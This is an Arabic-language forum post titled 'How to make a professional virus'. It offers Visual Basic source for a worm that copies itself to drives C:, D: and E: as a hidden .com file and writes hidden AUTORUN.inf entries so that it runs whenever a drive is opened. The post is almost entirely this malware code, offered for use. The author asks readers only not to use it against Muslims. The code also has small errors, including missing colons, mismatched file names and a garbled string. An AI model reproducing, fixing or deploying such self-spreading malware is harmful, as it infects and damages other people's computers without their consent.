كيف تصنع فايروس محترف

هلا شبااااب كيف الحال

هذا كود لفايروس يحتوي علي ملف AUTORUN.INI كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة
الكود
رمز برمجي:


FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\virous.com"
SetAttr "c:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "c:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "\" + App.EXEName + ".exe", "d:\virous.com"
SetAttr "d:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "d\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "\" + App.EXEName + ".exe", "e:\virous.com"
SetAttr "e:\virous", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "e\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = virous.com"
Print #1, "shell\open=???''??"
Print #1, "shell\open\command= virous.com"
Close #1
SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem


طبعأ عندما ينسخ نفسة يقوم بتغيير صيغتة الي com وهي ايضاً صيغة برامج

انا زكرت هذا الكود من اجل الاستفادة يرجي عدم استعمالة في المسلمين

تحياتي